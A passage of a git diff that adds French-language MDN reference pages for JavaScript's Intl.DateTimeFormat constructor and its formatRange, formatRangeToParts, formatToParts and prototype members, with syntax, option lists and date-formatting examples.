+// &gt; 'Sat, 20 Jan 2007 10:00:00 GMT'
+
+let fmt1 = new Intl.DateTimeFormat("en", {
+    year: '2-digit',
+    month: 'numeric',
+    day: 'numeric',
+    hour: 'numeric',
+    minute: 'numeric'
+});
+console.log(fmt1.format(date1));
+console.log(fmt1.formatRange(date1, date2));
+console.log(fmt1.formatRange(date1, date3));
+// &gt; '1/10/07, 10:00 AM'
+// &gt; '1/10/07, 10:00 – 11:00 AM'
+// &gt; '1/10/07, 10:00 AM – 1/20/07, 10:00 AM'
+
+let fmt2 = new Intl.DateTimeFormat("en", {
+    year: 'numeric',
+    month: 'short',
+    day: 'numeric'
+});
+console.log(fmt2.format(date1));
+console.log(fmt2.formatRange(date1, date2));
+console.log(fmt2.formatRange(date1, date3));
+// &gt; 'Jan 10, 2007'
+// &gt; 'Jan 10, 2007'
+// &gt; 'Jan 10 – 20, 2007'
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td><code><a href="https://rawgit.com/fabalbon/proposal-intl-DateTimeFormat-formatRange/master/out/#datetimeformat-objects">Intl.DateTimeFormat.prototype.formatRange</a></code></td>
+   <td>Brouillon de niveau 3</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<p>{{page('/fr/docs/Web/JavaScript/Reference/Objets_globaux/Intl', 'Voir_aussi')}}</p>
diff --git a/files/fr/web/javascript/reference/objets_globaux/intl/datetimeformat/formatrangetoparts/index.html b/files/fr/web/javascript/reference/objets_globaux/intl/datetimeformat/formatrangetoparts/index.html
new file mode 100644
index 0000000000..593df591fb
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/intl/datetimeformat/formatrangetoparts/index.html
@@ -0,0 +1,73 @@
+---
+title: Intl.DateTimeFormat.prototype.formatRangeToParts()
+slug: Web/JavaScript/Reference/Objets_globaux/Intl/DateTimeFormat/formatRangeToParts
+tags:
+  - Internationalization
+  - JavaScript
+  - Localization
+  - i18n
+translation_of: Web/JavaScript/Reference/Global_Objects/Intl/DateTimeFormat/formatRangeToParts
+---
+<p>{{JSRef}}</p>
+
+<p>La fonction <strong><code>Intl.DateTimeFormat.prototype.formatRangeToParts()</code></strong> permet, selon la locale utilisée, de représenter chaque élément de l'intervalle de dates via <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/DateTimeFormat/prototype">DateTimeFormat</a></code>.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre><code>Intl.DateTimeFormat.prototype.formatRangeToParts(<var>dateDebut, dateFin</var>)</code></pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Usage_basique_de_formatRangeToParts">Usage basique de <code>formatRangeToParts</code></h3>
+
+<p>Cette fonction reçoit deux <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date">Dates</a> et retourne un <a href="/en-US/docs/Glossary/array">Array</a> d'objets contenant les élements qui représentent chaque partie de l'intervalle de date formatée, selon la locale utilisée.</p>
+
+<pre class="brush: js">let date1 = new Date(Date.UTC(2007, 0, 10, 10, 0, 0));
+let date2 = new Date(Date.UTC(2007, 0, 10, 11, 0, 0));
+// &gt; 'Wed, 10 Jan 2007 10:00:00 GMT'
+// &gt; 'Wed, 10 Jan 2007 11:00:00 GMT'
+
+let fmt = new Intl.DateTimeFormat("en", {
+    hour: 'numeric',
+    minute: 'numeric'
+});
+
+console.log(fmt.formatRange(date1, date2));
+// &gt; '10:00 – 11:00 AM'
+
+fmt.formatRangeToParts(date1, date2);
+// retourne la valeur:
+// [
+//   { type: 'hour',      value: '10',  source: "startRange" },
+//   { type: 'literal',   value: ':',   source: "startRange" },
+//   { type: 'minute',    value: '00',  source: "startRange" },
+//   { type: 'literal',   value: ' – ', source: "shared"     },
+//   { type: 'hour',      value: '11',  source: "endRange"   },
+//   { type: 'literal',   value: ':',   source: "endRange"   },
+//   { type: 'minute',    value: '00',  source: "endRange"   },
+//   { type: 'literal',   value: ' ',   source: "shared"     },
+//   { type: 'dayPeriod', value: 'AM',  source: "shared"     }
+// ]</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td><a href="https://rawgit.com/fabalbon/proposal-intl-DateTimeFormat-formatRange/master/out/#datetimeformat-objects">Intl.DateTimeFormat.prototype.formatRange</a></td>
+   <td>Stage 3</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Intl.DateTimeFormat.formatRangeToParts")}}</p>
diff --git a/files/fr/web/javascript/reference/objets_globaux/intl/datetimeformat/formattoparts/index.html b/files/fr/web/javascript/reference/objets_globaux/intl/datetimeformat/formattoparts/index.html
new file mode 100644
index 0000000000..8ec6657b12
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/intl/datetimeformat/formattoparts/index.html
@@ -0,0 +1,166 @@
+---
+title: Intl.DateTimeFormat.prototype.formatToParts()
+slug: Web/JavaScript/Reference/Objets_globaux/Intl/DateTimeFormat/formatToParts
+tags:
+  - DateTimeFormat
+  - Internationalisation
+  - Intl
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - i18n
+translation_of: Web/JavaScript/Reference/Global_Objects/Intl/DateTimeFormat/formatToParts
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <strong><code>Intl.DateTimeFormat.prototype.formatToParts()</code></strong> permet de mettre en forme des chaînes de caractères avec des informations temporelles selon la locale utilisée.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Intl.DateTimeFormat.prototype.formatToParts(date)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>date</code> {{optional_inline}}</dt>
+ <dd>La date qu'on souhaite mettre en forme.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un tableau ({{jsxref("Array")}}) d'objets qui contiennent les composants de la date mis en forme.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>La méthode <code>formatToParts()</code> est utile lorsqu'on souhaite mettre en forme des dates de façon personnalisée. Elle renvoie un tableau d'objets qui contiennent les fragments spécifiques à la locale, à partir desquels on peut construire des chaînes tout en conservant les parties spécifique à la locale. La structure de l'objet renvoyé par la méthode est semblable à celle-ci :</p>
+
+<pre class="brush: js">[
+  { type: "day", value: "17" },
+  { type: "weekday", value "Monday" }
+]</pre>
+
+<p>Les types possibles sont :</p>
+
+<dl>
+ <dt><code>day</code></dt>
+ <dd>La chaîne utilisée pour désigner le jour, par exemple <code>"17"</code>.</dd>
+ <dt><code>dayPeriod</code></dt>
+ <dd>La chaîne utilisée pour désigner le moment de la journée, par exemple <code>"AM"</code> (qui désigne la matinée, avant midi) ou <code>"PM"</code> (qui désigne l'après-midi).</dd>
+ <dt><code>era</code></dt>
+ <dd>La chaîne utilisée pour l'ère (par exemple <code>"BC"</code> ou <code>"AD"</code>).</dd>
+ <dt><code>hour</code></dt>
+ <dd>La chaîne utilisée pour l'heure (par exemple <code>"3"</code> or <code>"03"</code>).</dd>
+ <dt><code>literal</code></dt>
+ <dd>La chaîne utilisée pour séparée le jour de l'heure (par exemple <code>"</code> <code>:</code> <code>,</code> <code>/</code> <code>"</code>).</dd>
+ <dt><code>minute</code></dt>
+ <dd>La chaîne utilisée pour les minutes (par exemple <code>"00"</code>).</dd>
+ <dt><code>month</code></dt>
+ <dd>La chaîne utilisée pour le mois (par exemple <code>"12"</code>).</dd>
+ <dt><code>second</code></dt>
+ <dd>La chaîne utilisée pour les secondes (par exemple <code>"02"</code>).</dd>
+ <dt><code>timeZoneName</code></dt>
+ <dd>La chaîne utilisée pour désigner le fuseau horaire (par exemple <code>"UTC"</code>).</dd>
+ <dt><code>weekday</code></dt>
+ <dd>La chaîne de caractères utilisée pour le jour de la semaine, par exemple <code>"M"</code>, <code>"Monday"</code> ou <code>"Montag"</code>.</dd>
+ <dt><code>year</code></dt>
+ <dd>La chaîne utilisée pour désigner l'année (par exemple <code>"2012"</code> ou <code>"96"</code>).</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p><code>DateTimeFormat</code> produit des chaînes localisées opaques qui ne peuvent pas être manipulées directement :</p>
+
+<pre class="brush: js">var date = Date.UTC(2012, 11, 17, 3, 0, 42);
+
+var formatter = new Intl.DateTimeFormat("en-us", {
+  weekday: 'long',
+  year: 'numeric',
+  month: 'numeric',
+  day: 'numeric',
+  hour: 'numeric',
+  minute: 'numeric',
+  second: 'numeric',
+  hour12: true,
+  timeZone: "UTC"
+});
+
+formatter.format(date);
+// "Monday, 12/17/2012, 3:00:42 AM"
+</pre>
+
+<p>Cependant, pour de nombreuses interfaces utilisateur, on peut vouloir personnaliser la mise en forme de cette chaîne de caractères. La méthode <code>formatToParts</code> permet une mise en forme dans le souci de la locale en manipulant les différentes composantes :</p>
+
+<pre class="brush: js">formatter.formatToParts(date);
+
+// return value:
+[
+  { type: 'weekday',   value: 'Monday' },
+  { type: 'separator', value: ', '     },
+  { type: 'month',     value: '12'     },
+  { type: 'literal', value: '/'      },
+  { type: 'day',       value: '17'     },
+  { type: 'literal', value: '/'      },
+  { type: 'year',      value: '2012'   },
+  { type: 'literal', value: ', '     },
+  { type: 'hour',      value: '3'      },
+  { type: 'literal', value: ':'      },
+  { type: 'minute',    value: '00'     },
+  { type: 'literal', value: ':'      },
+  { type: 'second',    value: '42'     },
+  { type: 'literal', value: ' '      },
+  { type: 'dayPeriod', value: 'AM'     }
+]
+</pre>
+
+<p>L'information étant décomposée, on peut alors la mettre en forme et la recomposée de façon adaptée :</p>
+
+<pre class="brush: js">var dateString = formatter.formatToParts(date).map(({type, value}) =&gt; {
+  switch (type) {
+    case 'dayPeriod': return `&lt;strong&gt;${value}&lt;/strong&gt;`;
+    default : return value;
+  }
+}).reduce((string, part) =&gt; string + part);
+
+console.log(formatter.format(date));
+// "Monday, 12/17/2012, 3:00:42 AM"
+
+console.log(dateString);
+// "Monday, 12/17/2012, 3:00:42 &lt;strong&gt;AM&lt;/strong&gt;"</pre>
+
+<h2 id="Prothèse_démulation_polyfill">Prothèse d'émulation (<em>polyfill</em>)</h2>
+
+<p>Une prothèse de cette fonctionnalité est disponible sur le dépôt décrivant <a href="https://github.com/zbraniecki/proposal-intl-formatToParts">la proposition de fonctionnalité</a>.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int Draft', '#sec-Intl.DateTimeFormat.prototype.formatToParts', 'Intl.DateTimeFormat.prototype.formatToParts')}}</td>
+   <td>{{Spec2('ES Int Draft')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Intl.DateTimeFormat.formatToParts")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("DateTimeFormat", "Intl.DateTimeFormat")}}</li>
+ <li>{{jsxref("DateTimeFormat.format", "Intl.DateTimeFormat.prototype.format")}}</li>
+ <li>{{jsxref("Date.prototype.toLocaleString()")}}</li>
+ <li>{{jsxref("Date.prototype.toLocaleDateString()")}}</li>
+ <li>{{jsxref("Date.prototype.toLocaleTimeString()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/intl/datetimeformat/index.html b/files/fr/web/javascript/reference/objets_globaux/intl/datetimeformat/index.html
new file mode 100644
index 0000000000..eb7c535c80
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/intl/datetimeformat/index.html
@@ -0,0 +1,297 @@
+---
+title: Intl.DateTimeFormat
+slug: Web/JavaScript/Reference/Objets_globaux/Intl/DateTimeFormat
+tags:
+  - Internationalisation
+  - Intl
+  - JavaScript
+  - Reference
+  - i18n
+translation_of: Web/JavaScript/Reference/Global_Objects/Intl/DateTimeFormat
+---
+<div>{{JSRef}}</div>
+
+<p>L'objet <strong><code>Intl.DateTimeFormat</code></strong> est un constructeur d'objets permettant de formatter des dates et des heures selon une langue.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/intl-datetimeformat.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">new Intl.DateTimeFormat([<var>locales</var>[, <var>options</var>]])
+Intl.DateTimeFormat.call(<var>this</var>[, <var>locales</var>[, <var>options</var>]])</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>locales</code>{{optional_inline}}</dt>
+ <dd>
+ <p>Ce paramètre optionnel est une chaine de caractères avec un identifiant de langue BCP 47, ou un tableau de ce type de chaine de caractères. Pour utiliser la locale par défaut du navigateur, on pourra omettre cet argument (ou passer la valeur <code>undefined</code>). Pour le format général et l'interprétation de l'argument <code>locales</code>, voir la page {{jsxref("Objets_globaux/Intl","Intl","#L'identification_et_le_choix_de_la_locale")}}. Les clefs d'extensions Unicode suivantes sont autorisées :</p>
+
+ <dl>
+  <dt>nu</dt>
+  <dd>Système de numérotation. Les valeurs possibles incluent : <code>"arab", "arabext", "bali", "beng", "deva", "fullwide", "gujr", "guru", "hanidec", "khmr", "knda", "laoo", "latn", "limb", "mlym", "mong", "mymr", "orya", "tamldec", "telu", "thai", "tibt"</code>.</dd>
+  <dt>ca</dt>
+  <dd>Calendrier. Les valeurs possibles incluent : <code>"buddhist", "chinese", "coptic", "ethiopia", "ethiopic", "gregory", "hebrew", "indian", "islamic", "islamicc", "iso8601", "japanese", "persian", "roc"</code>.</dd>
+  <dt><code>hc</code></dt>
+  <dd>Le type de cycle horaire à utiliser. Les valeurs possibles sont <code>"h11"</code>, <code>"h12"</code>, <code>"h23"</code>, <code>"h24"</code>.</dd>
+ </dl>
+ </dd>
+ <dt><code>options</code></dt>
+ <dd>
+ <p>Un objet avec certaines ou toutes les propriétés suivantes :</p>
+
+ <dl>
+  <dt><code>localeMatcher</code></dt>
+  <dd>L'algorithme de correspondance à utiliser pour la locale. Les valeurs possibles sont <code>"lookup"</code> et <code>"best fit"</code> ; le défaut est <code>"best fit"</code>. Pour des informations sur cette option, voir la page {{jsxref("Objets_globaux/Intl","Intl","##Choix_de_la_locale")}}</dd>
+  <dt><code>timeZone</code></dt>
+  <dd>Le fuseau horaire à utiliser. La seule valeur que doivent reconnaitre les implémentations est "UTC" ; la valeur par défaut est le fuseau horaire du moteur JavaScript. Les implémentations peuvent aussi reconnaitre les noms de fuseau horaire de la <a href="https://www.iana.org/time-zones">base de données IANA de fuseaux horaires</a>, tel que <code>"Asia/Shanghai"</code>, <code>"Asia/Kolkata"</code>, <code>"America/New_York"</code>.</dd>
+  <dt><code>hour12</code></dt>
+  <dd>S'il faut utiliser le format horaire sur 12 heures (au lieu de celui-ci sur 24 heures). Les valeurs possibles sont <code>true</code> et <code>false</code> ; la valeur par défaut dépend de la locale. Cette option surcharge l'étiquette <code>hc</code> et/ou l'option <code>hourCycle</code>.</dd>
+  <dt><code>hourCycle</code></dt>
+  <dd>Le cycle horaire à utiliser. Les valeurs possibles sont <code>"h11"</code>, <code>"h12"</code>, <code>"h23"</code>, <code>"h24"</code>. Cette option surcharge l'étiquette <code>hc</code> mais sera remplacée par <code>hour12</code> si cette dernière est présente.</dd>
+  <dt><code>formatMatcher</code></dt>
+  <dd>L'algorithme de correspondance à utiliser pour le formattage. Les valeurs possibles sont <code>"basic"</code> et <code>"best fit"</code> ; par défaut <code>"best fit"</code>. Voir les paragraphes suivants pour des informations concernant l'usage de cette propriété.</dd>
+ </dl>
+
+ <p>Les propriétés suivantes décrivent les composants date-heure à utiliser pour le formattage de la sortie.  Les implémentations ont pour obligation de supporter au minimum les ensembles suivants :</p>
+
+ <ul>
+  <li><code>weekday, year, month, day, hour, minute, second</code></li>
+  <li><code>weekday, year, month, day</code></li>
+  <li><code>year, month, day</code></li>
+  <li><code>year, month</code></li>
+  <li><code>month, day</code></li>
+  <li><code>hour, minute, second</code></li>
+  <li><code>hour, minute</code></li>
+ </ul>
+
+ <p>Les implémentations peuvent supporter d'autres sous-ensembles, et les demandes seront évaluées face à toutes les combinaisons de sous-ensembles disponibles pour trouver la meilleure correspondance. Deux algorithmes sont disponibles pour cette évaluation et choisis par la propriété <code>formatMatcher</code> : un <a href="https://www.ecma-international.org/ecma-402/1.0/#BasicFormatMatcher">algorithme "basic" complètement spécifié</a> et un algorithme <code>"best fit"</code> dépendant de l'implémentation.</p>
+
+ <dl>
+  <dt><code>weekday</code></dt>
+  <dd>La représentation du jour de la semaine. Les valeurs possibles sont :
+  <ul>
+   <li><code>"long"</code> (par exemple <code>Thursday</code>)</li>
+   <li><code>"short"</code> (par exemple <code>Thu</code>)</li>
+   <li><code>"narrow"</code> (par exemple <code>T</code>). Deux jours de la semaines pourront partager la même représentation dans certaines locales (par exemple, en anglais <code>Tuesday</code> sera également représenté avec <code>T</code> en notation étroite).</li>
+  </ul>
+  </dd>
+  <dt><code>era</code></dt>
+  <dd>La représentation de l'ère. Les valeurs possibles sont :
+  <ul>
+   <li><code>"long"</code> (par exemple <code>Anno Domini</code>)</li>
+   <li><code>"short"</code> (par exemple <code>AD</code>)</li>
+   <li><code>"narrow"</code> (par exemple <code>A</code>)</li>
+  </ul>
+  </dd>
+  <dt><code>year</code></dt>
+  <dd>La représentation de l'année. Les valeurs possibles sont :
+  <ul>
+   <li><code>"numeric"</code> (par exemple <code>2012</code>)</li>
+   <li><code>"2-digit"</code> (par exemple <code>12</code>)</li>
+  </ul>
+  </dd>
+  <dt><code>month</code></dt>
+  <dd>La représentation du mois. Les valeurs possibles sont :
+  <ul>
+   <li><code>"numeric"</code> (par exemple <code>2</code>)</li>
+   <li><code>"2-digit"</code> (par exemple <code>02</code>)</li>
+   <li><code>"long"</code> (par exemple <code>March</code>)</li>
+   <li><code>"short"</code> (par exemple <code>Mar</code>)</li>
+   <li><code>"narrow"</code> (par exemple <code>M</code>). Dans certaines locales, deux mois pourront partager la même représentation avec le style étroit (par exemple, <code>May</code> en anglais, sera également représenté avec <code>M</code>).</li>
+  </ul>
+  </dd>
+  <dt><code>day</code></dt>
+  <dd>La représentation du jour. Les valeurs possibles sont :
+  <ul>
+   <li><code>"numeric"</code> (par exemple <code>1</code>)</li>
+   <li><code>"2-digit"</code> (par exemple <code>01</code>)</li>
+  </ul>
+  </dd>
+  <dt><code>hour</code></dt>
+  <dd>La représentation de l'heure. Les valeurs possibles sont :
+  <ul>
+   <li><code>"numeric"</code> (par exemple <code>1</code>)</li>
+   <li><code>"2-digit"</code> (par exemple <code>01</code>)</li>
+  </ul>
+  </dd>
+  <dt><code>minute</code></dt>
+  <dd>La représentation des minutes. Les valeurs possibles sont :
+  <ul>
+   <li><code>"numeric"</code> (par exemple <code>1</code>)</li>
+   <li><code>"2-digit"</code> (par exemple <code>01</code>)</li>
+  </ul>
+  </dd>
+  <dt><code>second</code></dt>
+  <dd>La représentation des secondes. Les valeurs possibles sont :
+  <ul>
+   <li><code>"numeric"</code> (par exemple <code>1</code>)</li>
+   <li><code>"2-digit"</code> (par exemple <code>01</code>)</li>
+  </ul>
+  </dd>
+  <dt><code>timeZoneName</code></dt>
+  <dd>La représentation du fuseau horaire. Les valeurs possibles sont :
+  <ul>
+   <li><code>"long"</code> (par exemple <code>British Summer Time</code>)</li>
+   <li><code>"short"</code> (par exemple <code>GMT+1</code>)</li>
+  </ul>
+  </dd>
+ </dl>
+
+ <p class="noinclude">La valeur par défaut pour chaque composante est {{jsxref("undefined")}}, mais si toutes les composantes valent <code>undefined</code>, alors <code>year</code>, <code>month</code>, et <code>day</code> seront considérés comme <code>"numeric"</code>.</p>
+ </dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<h3 id="Propriétés">Propriétés</h3>
+
+<dl>
+ <dt>{{jsxref("DateTimeFormat.prototype", "Intl.DateTimeFormat.prototype")}}</dt>
+ <dd>Permet l'ajout de propriétés à tous les objets.</dd>
+</dl>
+
+<h3 id="Méthodes">Méthodes</h3>
+
+<dl>
+ <dt>{{jsxref("DateTimeFormat.supportedLocalesOf", "Intl.DateTimeFormat.supportedLocalesOf()")}}</dt>
+ <dd>Renvoie un tableau contenant les locales supportées parmis les locales fournies, sans qu'il soit nécessaire de recourir à la locale par défaut de l'implémentation.</dd>
+</dl>
+
+<h2 id="Instances_de_DateTimeFormat">Instances de<code> DateTimeFormat</code></h2>
+
+<h3 id="Propriétés_2">Propriétés</h3>
+
+<p>Les instances de<code> DateTimeFormat()</code> héritent des propriétés suivantes depuis leur prototype :</p>
+
+<div>{{page('fr/docs/Web/JavaScript/Reference/Objets_globaux/DateTimeFormat/prototype','Properties')}}</div>
+
+<h3 id="Méthodes_2">Méthodes</h3>
+
+<div>
+<p>Les instances de<code> DateTimeFormat()</code> héritent des propriétés suivantes depuis leur prototype :</p>
+{{page('fr/docs/Web/JavaScript/Reference/Objets_globaux/DateTimeFormat/prototype','Méthodes')}}</div>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_DateTimeFormat">Utiliser <code>DateTimeFormat()</code></h3>
+
+<p>Dans une utilisation basique sans préciser de locale, <code>DateTimeFormat()</code> utilise la locale et les options par défaut</p>
+
+<pre class="brush:js">var date = new Date(Date.UTC(2012, 11, 20, 3, 0, 0));
+
+// DateTimeFormat sans arguments dépend de l'implémentation,
+// la locale par défaut, et le fuseau horaire par défaut
+console.log(new Intl.DateTimeFormat().format(date));
+// → "20/12/2012" avec une locale fr-Fr et un fuseau horaire CEST</pre>
+
+<h3 id="Utiliser_locales">Utiliser <code>locales</code></h3>
+
+<p>Cet exemple montre quelques variations de formattage pour les dates et les heures localisées. Afin d'obtenir le langage utilisé au sein de l'interface utilisateur de votre application, vérifiez de bien fournir ce langage (et éventuellement des locales de recours) en utilisant l'argument <code>locales</code> :</p>
+
+<pre class="brush: js">var date = new Date(Date.UTC(2012, 11, 20, 3, 0, 0));
+
+// les formats qui suivent se basent sur le
+// fuseau horaire CEST
+
+// l'anglais américain utilise l'ordre mois-jour-année
+console.log(new Intl.DateTimeFormat("en-US").format(date));
+// → "12/20/2012"
+
+// l'anglais britannique utilise l'ordre jour-mois-année
+console.log(new Intl.DateTimeFormat("en-GB").format(date));
+// → "20/12/2012"
+
+// le coréen utilise l'ordre année-mois-jour
+console.log(new Intl.DateTimeFormat("ko-KR").format(date));
+// → "2012. 12. 20."
+
+// l'arabe, dans la plupart des pays arabophones, utilise les chiffres arabes
+console.log(new Intl.DateTimeFormat("ar-EG").format(date));
+// → "<span dir="rtl">٢٠‏/١٢‏/٢٠١٢</span>"
+
+// en ce qui concerne le japonais, les applications peuvent
+// souhaiter utiliser le calendrier japonais
+// pour lequel 2012 était l'année 24 de l'ère Heisei
+console.log(new Intl.DateTimeFormat("ja-JP-u-ca-japanese").format(date));
+// → "24/12/20"
+
+// quand un langage non support est demandé (ex : le balinais)
+// il est possible de fournir un langage de recours (ici l'indonésien)
+console.log(new Intl.DateTimeFormat(["ban", "id"]).format(date));
+// → "20/12/2012"
+</pre>
+
+<h3 id="Utiliser_options">Utiliser <code>options</code></h3>
+
+<p>Les formats de la date et de l'heure peuvent être personnalisés en utilisant l'argument <code>options</code> :</p>
+
+<pre class="brush: js">var date = new Date(Date.UTC(2012, 11, 20, 3, 0, 0));
+
+// fournir le jour de la semaine avec une date longue
+var options = {weekday: "long", year: "numeric", month: "long", day: "numeric"};
+console.log(new Intl.DateTimeFormat("de-DE", options).format(date));
+// → "Donnerstag, 20. Dezember 2012"
+
+// une application peut vouloir utiliser UTC et le rendre visible
+options.timeZone = "UTC";
+options.timeZoneName = "short";
+console.log(new Intl.DateTimeFormat("en-US", options).format(date));
+// → "Thursday, December 20, 2012, GMT"
+
+// parfois, vous voulez être précis
+options = {hour: "numeric", minute: "numeric", second: "numeric",
+           timeZoneName: "short"};
+console.log(new Intl.DateTimeFormat("en-AU", options).format(date));
+// → "2:00:00 pm AEDT"
+
+// parfois, même les USA ont besoin d'afficher une heure sur 24h
+options = {year: "numeric", month: "numeric", day: "numeric",
+           hour: "numeric", minute: "numeric", second: "numeric",
+           hour12: false};
+console.log(new Intl.DateTimeFormat("en-US", options));
+// → "12/19/2012, 19:00:00"
+
+// pour utiliser la locale par défaut du navigateur :
+console.log(new Intl.DateTimeFormat('default', options).format(date));
+// → "12/19/2012, 19:00:00" (peut varier selon la locale du navigateur)
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int 1.0', '#sec-12.1', 'Intl.DateTimeFormat')}}</td>
+   <td>{{Spec2('ES Int 1.0')}}</td>
+   <td>Première définition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int 2.0', '#sec-12.1', 'Intl.DateTimeFormat')}}</td>
+   <td>{{Spec2('ES Int 2.0')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int Draft', '#datetimeformat-objects', 'Intl.DateTimeFormat')}}</td>
+   <td>{{Spec2('ES Int Draft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Intl.DateTimeFormat")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<div>{{page('/fr/docs/Web/JavaScript/Reference/Objets_globaux/Intl', 'Voir_aussi')}}</div>
diff --git a/files/fr/web/javascript/reference/objets_globaux/intl/datetimeformat/prototype/index.html b/files/fr/web/javascript/reference/objets_globaux/intl/datetimeformat/prototype/index.html
new file mode 100644
index 0000000000..4daa62ebdb
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/intl/datetimeformat/prototype/index.html
@@ -0,0 +1,81 @@
+---
+title: Intl.DateTimeFormat.prototype
+slug: Web/JavaScript/Reference/Objets_globaux/Intl/DateTimeFormat/prototype
+tags:
+  - Internationalisation
+  - Intl
+  - JavaScript
+  - Propriété
+  - Prototype
+  - Reference
+  - i18n
+translation_of: Web/JavaScript/Reference/Global_Objects/Intl/DateTimeFormat
+---
+<div>{{JSRef}}</div>
+
+<p>La propriété <code><strong>Intl.DateTimeFormat.prototype</strong></code> représente le prototype du constructeur {{jsxref("DateTimeFormat", "Intl.DateTimeFormat")}}.</p>
+
+<div>{{js_property_attributes(0,0,0)}}</div>
+
+<h2 id="Description">Description</h2>
+
+<p>Voir la page {{jsxref("DateTimeFormat")}} qui décrit les instances de <code>Intl.DateTimeFormat</code>.</p>
+
+<p>Les instances de {{jsxref("DateTimeFormat", "Intl.DateTimeFormat")}} héritent de <code>Intl.DateTimeFormat.prototype</code>. Les modifications apportées à l'objet prototype sont propagées sur toutes les instances de  <code>Intl.DateTimeFormat</code> par héritage.</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt><code>Intl.DateTimeFormat.prototype.constructor</code></dt>
+ <dd>Une référence à <code>Intl.DateTimeFormat</code>.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<dl>
+ <dt>{{jsxref("DateTimeFormat.format", "Intl.DateTimeFormat.prototype.format")}}</dt>
+ <dd>Un accesseur qui renvoie une fonction formattant une date selon les options de format et de locale spécifiées pour l'objet <code>DateTimeFormat</code>.</dd>
+ <dt>{{jsxref("DateTimeFormat.formatToParts","Intl.DateTimeFormat.prototype.formatToParts()")}}</dt>
+ <dd>Renvoie un tableau d'objets qui représentent les composants de la date sous forme de chaînes de caractères afin que celles-ci puissent être utilisée dans une mise en forme adaptée à la locale.</dd>
+ <dt>{{jsxref("DateTimeFormat.resolvedOptions", "Intl.DateTimeFormat.prototype.resolvedOptions()")}}</dt>
+ <dd>Renvoie un nouvel objet dont les propriétés indiquent les options de format et de locale calculées lors de l'initialisation de l'objet.</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int 1.0', '#sec-12.2.1', 'Intl.DateTimeFormat.prototype')}}</td>
